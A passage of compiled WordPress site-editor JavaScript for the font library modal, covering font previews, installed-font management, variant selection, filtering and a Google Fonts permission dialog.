  const ref = (0,external_wp_element_namespaceObject.useRef)(null);
  const fontFace = getDisplayFontFace(font);
  const style = getFamilyPreviewStyle(font);
  text = text || font.name;
  const customPreviewUrl = font.preview;
  const [isIntersecting, setIsIntersecting] = (0,external_wp_element_namespaceObject.useState)(false);
  const [isAssetLoaded, setIsAssetLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    loadFontFaceAsset
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const previewUrl = customPreviewUrl !== null && customPreviewUrl !== void 0 ? customPreviewUrl : getPreviewUrl(fontFace);
  const isPreviewImage = previewUrl && previewUrl.match(/\.(png|jpg|jpeg|gif|svg)$/i);
  const faceStyles = getFacePreviewStyle(fontFace);
  const textDemoStyle = {
    fontSize: '18px',
    lineHeight: 1,
    opacity: isAssetLoaded ? '1' : '0',
    ...style,
    ...faceStyles
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const observer = new window.IntersectionObserver(([entry]) => {
      setIsIntersecting(entry.isIntersecting);
    }, {});
    observer.observe(ref.current);
    return () => observer.disconnect();
  }, [ref]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const loadAsset = async () => {
      if (isIntersecting) {
        if (!isPreviewImage && fontFace.src) {
          await loadFontFaceAsset(fontFace);
        }
        setIsAssetLoaded(true);
      }
    };
    loadAsset();
  }, [fontFace, isIntersecting, loadFontFaceAsset, isPreviewImage]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    ref: ref,
    children: isPreviewImage ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
      src: previewUrl,
      loading: "lazy",
      alt: text,
      className: "font-library-modal__font-variant_demo-image"
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
      style: textDemoStyle,
      className: "font-library-modal__font-variant_demo-text",
      children: text
    })
  });
}
/* harmony default export */ const font_demo = (FontDemo);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-card.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



function FontCard({
  font,
  onClick,
  variantsText,
  navigatorPath
}) {
  const variantsCount = font.fontFace?.length || 1;
  const style = {
    cursor: !!onClick ? 'pointer' : 'default'
  };
  const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    onClick: () => {
      onClick();
      if (navigatorPath) {
        navigator.goTo(navigatorPath);
      }
    },
    style: style,
    className: "font-library-modal__font-card",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
      justify: "space-between",
      wrap: false,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo, {
        font: font
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
        justify: "flex-end",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            className: "font-library-modal__font-card__count",
            children: variantsText || (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: Number of font variants. */
            (0,external_wp_i18n_namespaceObject._n)('%d variant', '%d variants', variantsCount), variantsCount)
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
            icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
          })
        })]
      })]
    })
  });
}
/* harmony default export */ const font_card = (FontCard);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/library-font-variant.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




function LibraryFontVariant({
  face,
  font
}) {
  const {
    isFontActivated,
    toggleActivateFont
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const isInstalled = font?.fontFace?.length > 0 ? isFontActivated(font.slug, face.fontStyle, face.fontWeight, font.source) : isFontActivated(font.slug, null, null, font.source);
  const handleToggleActivation = () => {
    if (font?.fontFace?.length > 0) {
      toggleActivateFont(font, face);
      return;
    }
    toggleActivateFont(font);
  };
  const displayName = font.name + ' ' + getFontFaceVariantName(face);
  const checkboxId = (0,external_wp_element_namespaceObject.useId)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "font-library-modal__font-card",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
      justify: "flex-start",
      align: "center",
      gap: "1rem",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
        checked: isInstalled,
        onChange: handleToggleActivation,
        __nextHasNoMarginBottom: true,
        id: checkboxId
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", {
        htmlFor: checkboxId,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo, {
          font: face,
          text: displayName,
          onClick: handleToggleActivation
        })
      })]
    })
  });
}
/* harmony default export */ const library_font_variant = (LibraryFontVariant);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/sort-font-faces.js
function getNumericFontWeight(value) {
  switch (value) {
    case 'normal':
      return 400;
    case 'bold':
      return 700;
    case 'bolder':
      return 500;
    case 'lighter':
      return 300;
    default:
      return parseInt(value, 10);
  }
}
function sortFontFaces(faces) {
  return faces.sort((a, b) => {
    // Ensure 'normal' fontStyle is always first
    if (a.fontStyle === 'normal' && b.fontStyle !== 'normal') {
      return -1;
    }
    if (b.fontStyle === 'normal' && a.fontStyle !== 'normal') {
      return 1;
    }

    // If both fontStyles are the same, sort by fontWeight
    if (a.fontStyle === b.fontStyle) {
      return getNumericFontWeight(a.fontWeight) - getNumericFontWeight(b.fontWeight);
    }

    // Sort other fontStyles alphabetically
    return a.fontStyle.localeCompare(b.fontStyle);
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/installed-fonts.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */







const {
  useGlobalSetting: installed_fonts_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function InstalledFonts() {
  var _libraryFontSelected$;
  const {
    baseCustomFonts,
    libraryFontSelected,
    handleSetLibraryFontSelected,
    refreshLibrary,
    uninstallFontFamily,
    isResolvingLibrary,
    isInstalling,
    saveFontFamilies,
    getFontFacesActivated
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const [fontFamilies, setFontFamilies] = installed_fonts_useGlobalSetting('typography.fontFamilies');
  const [isConfirmDeleteOpen, setIsConfirmDeleteOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const [notice, setNotice] = (0,external_wp_element_namespaceObject.useState)(false);
  const [baseFontFamilies] = installed_fonts_useGlobalSetting('typography.fontFamilies', undefined, 'base');
  const globalStylesId = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      __experimentalGetCurrentGlobalStylesId
    } = select(external_wp_coreData_namespaceObject.store);
    return __experimentalGetCurrentGlobalStylesId();
  });
  const globalStyles = (0,external_wp_coreData_namespaceObject.useEntityRecord)('root', 'globalStyles', globalStylesId);
  const fontFamiliesHasChanges = !!globalStyles?.edits?.settings?.typography?.fontFamilies;
  const themeFonts = fontFamilies?.theme ? fontFamilies.theme.map(f => setUIValuesNeeded(f, {
    source: 'theme'
  })).sort((a, b) => a.name.localeCompare(b.name)) : [];
  const themeFontsSlugs = new Set(themeFonts.map(f => f.slug));
  const baseThemeFonts = baseFontFamilies?.theme ? themeFonts.concat(baseFontFamilies.theme.filter(f => !themeFontsSlugs.has(f.slug)).map(f => setUIValuesNeeded(f, {
    source: 'theme'
  })).sort((a, b) => a.name.localeCompare(b.name))) : [];
  const customFontFamilyId = libraryFontSelected?.source === 'custom' && libraryFontSelected?.id;
  const canUserDelete = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    return customFontFamilyId && canUser('delete', {
      kind: 'postType',
      name: 'wp_font_family',
      id: customFontFamilyId
    });
  }, [customFontFamilyId]);
  const shouldDisplayDeleteButton = !!libraryFontSelected && libraryFontSelected?.source !== 'theme' && canUserDelete;
  const handleUninstallClick = () => {
    setIsConfirmDeleteOpen(true);
  };
  const handleUpdate = async () => {
    setNotice(null);
    try {
      await saveFontFamilies(fontFamilies);
      setNotice({
        type: 'success',
        message: (0,external_wp_i18n_namespaceObject.__)('Font family updated successfully.')
      });
    } catch (error) {
      setNotice({
        type: 'error',
        message: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message */
        (0,external_wp_i18n_namespaceObject.__)('There was an error updating the font family. %s'), error.message)
      });
    }
  };
  const getFontFacesToDisplay = font => {
    if (!font) {
      return [];
    }
    if (!font.fontFace || !font.fontFace.length) {
      return [{
        fontFamily: font.fontFamily,
        fontStyle: 'normal',
        fontWeight: '400'
      }];
    }
    return sortFontFaces(font.fontFace);
  };
  const getFontCardVariantsText = font => {
    const variantsInstalled = font?.fontFace?.length > 0 ? font.fontFace.length : 1;
    const variantsActive = getFontFacesActivated(font.slug, font.source).length;
    return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: 1: Active font variants, 2: Total font variants. */
    (0,external_wp_i18n_namespaceObject.__)('%1$s/%2$s variants active'), variantsActive, variantsInstalled);
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    handleSetLibraryFontSelected(libraryFontSelected);
    refreshLibrary();
  }, []);

  // Get activated fonts count.
  const activeFontsCount = libraryFontSelected ? getFontFacesActivated(libraryFontSelected.slug, libraryFontSelected.source).length : 0;
  const selectedFontsCount = (_libraryFontSelected$ = libraryFontSelected?.fontFace?.length) !== null && _libraryFontSelected$ !== void 0 ? _libraryFontSelected$ : libraryFontSelected?.fontFamily ? 1 : 0;

  // Check if any fonts are selected.
  const isIndeterminate = activeFontsCount > 0 && activeFontsCount !== selectedFontsCount;

  // Check if all fonts are selected.
  const isSelectAllChecked = activeFontsCount === selectedFontsCount;

  // Toggle select all fonts.
  const toggleSelectAll = () => {
    var _fontFamilies$library;
    const initialFonts = (_fontFamilies$library = fontFamilies?.[libraryFontSelected.source]?.filter(f => f.slug !== libraryFontSelected.slug)) !== null && _fontFamilies$library !== void 0 ? _fontFamilies$library : [];
    const newFonts = isSelectAllChecked ? initialFonts : [...initialFonts, libraryFontSelected];
    setFontFamilies({
      ...fontFamilies,
      [libraryFontSelected.source]: newFonts
    });
    if (libraryFontSelected.fontFace) {
      libraryFontSelected.fontFace.forEach(face => {
        if (isSelectAllChecked) {
          unloadFontFaceInBrowser(face, 'all');
        } else {
          loadFontFaceInBrowser(face, getDisplaySrcFromFontFace(face?.src), 'all');
        }
      });
    }
  };
  const hasFonts = baseThemeFonts.length > 0 || baseCustomFonts.length > 0;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "font-library-modal__tabpanel-layout",
    children: [isResolvingLibrary && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "font-library-modal__loading",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {})
    }), !isResolvingLibrary && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator, {
        initialPath: libraryFontSelected ? '/fontFamily' : '/',
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Screen, {
          path: "/",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: "8",
            children: [notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
              status: notice.type,
              onRemove: () => setNotice(null),
              children: notice.message
            }), !hasFonts && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
              as: "p",
              children: (0,external_wp_i18n_namespaceObject.__)('No fonts installed.')
            }), baseThemeFonts.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
                className: "font-library-modal__fonts-title",
                children: /* translators: Heading for a list of fonts provided by the theme. */
                (0,external_wp_i18n_namespaceObject._x)('Theme', 'font source')
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
                role: "list",
                className: "font-library-modal__fonts-list",
                children: baseThemeFonts.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
                  className: "font-library-modal__fonts-list-item",
                  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_card, {
                    font: font,
                    navigatorPath: "/fontFamily",
                    variantsText: getFontCardVariantsText(font),
                    onClick: () => {
                      setNotice(null);
                      handleSetLibraryFontSelected(font);
                    }
                  })
                }, font.slug))
              })]
            }), baseCustomFonts.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", {
                className: "font-library-modal__fonts-title",
                children: /* translators: Heading for a list of fonts installed by the user. */
                (0,external_wp_i18n_namespaceObject._x)('Custom', 'font source')
              }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
                role: "list",
                className: "font-library-modal__fonts-list",
                children: baseCustomFonts.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
                  className: "font-library-modal__fonts-list-item",
                  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_card, {
                    font: font,
                    navigatorPath: "/fontFamily",
                    variantsText: getFontCardVariantsText(font),
                    onClick: () => {
                      setNotice(null);
                      handleSetLibraryFontSelected(font);
                    }
                  })
                }, font.slug))
              })]
            })]
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, {
          path: "/fontFamily",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ConfirmDeleteDialog, {
            font: libraryFontSelected,
            isOpen: isConfirmDeleteOpen,
            setIsOpen: setIsConfirmDeleteOpen,
            setNotice: setNotice,
            uninstallFontFamily: uninstallFontFamily,
            handleSetLibraryFontSelected: handleSetLibraryFontSelected
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
            justify: "flex-start",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.BackButton, {
              icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
              size: "small",
              onClick: () => {
                handleSetLibraryFontSelected(null);
                setNotice(null);
              },
              label: (0,external_wp_i18n_namespaceObject.__)('Back')
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
              level: 2,
              size: 13,
              className: "edit-site-global-styles-header",
              children: libraryFontSelected?.name
            })]
          }), notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
              margin: 1
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
              status: notice.type,
              onRemove: () => setNotice(null),
              children: notice.message
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
              margin: 1
            })]
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 4
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
            children: (0,external_wp_i18n_namespaceObject.__)('Choose font variants. Keep in mind that too many variants could make your site slower.')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
            margin: 4
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: 0,
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
              className: "font-library-modal__select-all",
              label: (0,external_wp_i18n_namespaceObject.__)('Select all'),
              checked: isSelectAllChecked,
              onChange: toggleSelectAll,
              indeterminate: isIndeterminate,
              __nextHasNoMarginBottom: true
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
              margin: 8
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
              role: "list",
              className: "font-library-modal__fonts-list",
              children: getFontFacesToDisplay(libraryFontSelected).map((face, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
                className: "font-library-modal__fonts-list-item",
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(library_font_variant, {
                  font: libraryFontSelected,
                  face: face
                }, `face${i}`)
              }, `face${i}`))
            })]
          })]
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
        justify: "flex-end",
        className: "font-library-modal__footer",
        children: [isInstalling && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {}), shouldDisplayDeleteButton && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          isDestructive: true,
          variant: "tertiary",
          onClick: handleUninstallClick,
          children: (0,external_wp_i18n_namespaceObject.__)('Delete')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          onClick: handleUpdate,
          disabled: !fontFamiliesHasChanges,
          accessibleWhenDisabled: true,
          children: (0,external_wp_i18n_namespaceObject.__)('Update')
        })]
      })]
    })]
  });
}
function ConfirmDeleteDialog({
  font,
  isOpen,
  setIsOpen,
  setNotice,
  uninstallFontFamily,
  handleSetLibraryFontSelected
}) {
  const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
  const handleConfirmUninstall = async () => {
    setNotice(null);
    setIsOpen(false);
    try {
      await uninstallFontFamily(font);
      navigator.goBack();
      handleSetLibraryFontSelected(null);
      setNotice({
        type: 'success',
        message: (0,external_wp_i18n_namespaceObject.__)('Font family uninstalled successfully.')
      });
    } catch (error) {
      setNotice({
        type: 'error',
        message: (0,external_wp_i18n_namespaceObject.__)('There was an error uninstalling the font family.') + error.message
      });
    }
  };
  const handleCancelUninstall = () => {
    setIsOpen(false);
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
    isOpen: isOpen,
    cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
    confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
    onCancel: handleCancelUninstall,
    onConfirm: handleConfirmUninstall,
    size: "medium",
    children: font && (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the font. */
    (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete "%s" font and all its variants and assets?'), font.name)
  });
}
/* harmony default export */ const installed_fonts = (InstalledFonts);

;// ./node_modules/@wordpress/icons/build-module/library/next.js
/**
 * WordPress dependencies
 */


const next = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z"
  })
});
/* harmony default export */ const library_next = (next);

;// ./node_modules/@wordpress/icons/build-module/library/previous.js
/**
 * WordPress dependencies
 */


const previous = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z"
  })
});
/* harmony default export */ const library_previous = (previous);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/filter-fonts.js
/**
 * Filters a list of fonts based on the specified filters.
 *
 * This function filters a given array of fonts based on the criteria provided in the filters object.
 * It supports filtering by category and a search term. If the category is provided and not equal to 'all',
 * the function filters the fonts array to include only those fonts that belong to the specified category.
 * Additionally, if a search term is provided, it filters the fonts array to include only those fonts
 * whose name includes the search term, case-insensitively.
 *
 * @param {Array}  fonts   Array of font objects in font-collection schema fashion to be filtered. Each font object should have a 'categories' property and a 'font_family_settings' property with a 'name' key.
 * @param {Object} filters Object containing the filter criteria. It should have a 'category' key and/or a 'search' key.
 *                         The 'category' key is a string representing the category to filter by.
 *                         The 'search' key is a string representing the search term to filter by.
 * @return {Array} Array of filtered font objects based on the provided criteria.
 */
function filterFonts(fonts, filters) {
  const {
    category,
    search
  } = filters;
  let filteredFonts = fonts || [];
  if (category && category !== 'all') {
    filteredFonts = filteredFonts.filter(font => font.categories.indexOf(category) !== -1);
  }
  if (search) {
    filteredFonts = filteredFonts.filter(font => font.font_family_settings.name.toLowerCase().includes(search.toLowerCase()));
  }
  return filteredFonts;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/fonts-outline.js
function getFontsOutline(fonts) {
  return fonts.reduce((acc, font) => ({
    ...acc,
    [font.slug]: (font?.fontFace || []).reduce((faces, face) => ({
      ...faces,
      [`${face.fontStyle}-${face.fontWeight}`]: true
    }), {})
  }), {});
}
function isFontFontFaceInOutline(slug, face, outline) {
  if (!face) {
    return !!outline[slug];
  }
  return !!outline[slug]?.[`${face.fontStyle}-${face.fontWeight}`];
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/google-fonts-confirm-dialog.js
/**
 * WordPress dependencies
 */



function GoogleFontsConfirmDialog() {
  const handleConfirm = () => {
    // eslint-disable-next-line no-undef
    window.localStorage.setItem('wp-font-library-google-fonts-permission', 'true');
    window.dispatchEvent(new Event('storage'));
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "font-library__google-fonts-confirm",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
          level: 2,
          children: (0,external_wp_i18n_namespaceObject.__)('Connect to Google Fonts')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          margin: 6
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          as: "p",
          children: (0,external_wp_i18n_namespaceObject.__)('To install fonts from Google you must give permission to connect directly to Google servers. The fonts you install will be downloaded from Google and stored on your site. Your site will then use these locally-hosted fonts.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          margin: 3
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
          as: "p",
          children: (0,external_wp_i18n_namespaceObject.__)('You can alternatively upload files directly on the Upload tab.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
          margin: 6
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "primary",
          onClick: handleConfirm,
          children: (0,external_wp_i18n_namespaceObject.__)('Allow access to Google Fonts')
        })]
      })
    })
  });
}
/* harmony default export */ const google_fonts_confirm_dialog = (GoogleFontsConfirmDialog);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/collection-font-variant.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



function CollectionFontVariant({
  face,
  font,
  handleToggleVariant,
  selected
}) {
  const handleToggleActivation = () => {
    if (font?.fontFace) {
      handleToggleVariant(font, face);
      return;
    }
    handleToggleVariant(font);
  };
  const displayName = font.name + ' ' + getFontFaceVariantName(face);
  const checkboxId = (0,external_wp_element_namespaceObject.useId)();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "font-library-modal__font-card",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
      justify: "flex-start",
      align: "center",
      gap: "1rem",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
        checked: selected,
        onChange: handleToggleActivation,
        __nextHasNoMarginBottom: true,
        id: checkboxId
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", {
        htmlFor: checkboxId,
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_demo, {
          font: face,
          text: displayName,
          onClick: handleToggleActivation
        })
      })]
    })
  });
}
/* harmony default export */ const collection_font_variant = (CollectionFontVariant);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-collection.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */










const DEFAULT_CATEGORY = {
  slug: 'all',
  name: (0,external_wp_i18n_namespaceObject._x)('All', 'font categories')
};
const LOCAL_STORAGE_ITEM = 'wp-font-library-google-fonts-permission';
const MIN_WINDOW_HEIGHT = 500;
function FontCollection({
  slug
}) {
  var _selectedCollection$c;
  const requiresPermission = slug === 'google-fonts';
  const getGoogleFontsPermissionFromStorage = () => {
    return window.localStorage.getItem(LOCAL_STORAGE_ITEM) === 'true';
  };
  const [selectedFont, setSelectedFont] = (0,external_wp_element_namespaceObject.useState)(null);
  const [notice, setNotice] = (0,external_wp_element_namespaceObject.useState)(false);
  const [fontsToInstall, setFontsToInstall] = (0,external_wp_element_namespaceObject.useState)([]);
  const [page, setPage] = (0,external_wp_element_namespaceObject.useState)(1);
  const [filters, setFilters] = (0,external_wp_element_namespaceObject.useState)({});
  const [renderConfirmDialog, setRenderConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(requiresPermission && !getGoogleFontsPermissionFromStorage());
  const {
    collections,
    getFontCollection,
    installFonts,
    isInstalling
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const selectedCollection = collections.find(collection => collection.slug === slug);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const handleStorage = () => {
      setRenderConfirmDialog(requiresPermission && !getGoogleFontsPermissionFromStorage());
    };
    handleStorage();
    window.addEventListener('storage', handleStorage);
    return () => window.removeEventListener('storage', handleStorage);
  }, [slug, requiresPermission]);
  const revokeAccess = () => {
    window.localStorage.setItem(LOCAL_STORAGE_ITEM, 'false');
    window.dispatchEvent(new Event('storage'));
  };
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const fetchFontCollection = async () => {
      try {
        await getFontCollection(slug);
        resetFilters();
      } catch (e) {
        if (!notice) {
          setNotice({
            type: 'error',
            message: e?.message
          });
        }
      }
    };
    fetchFontCollection();
  }, [slug, getFontCollection, setNotice, notice]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setSelectedFont(null);
  }, [slug]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
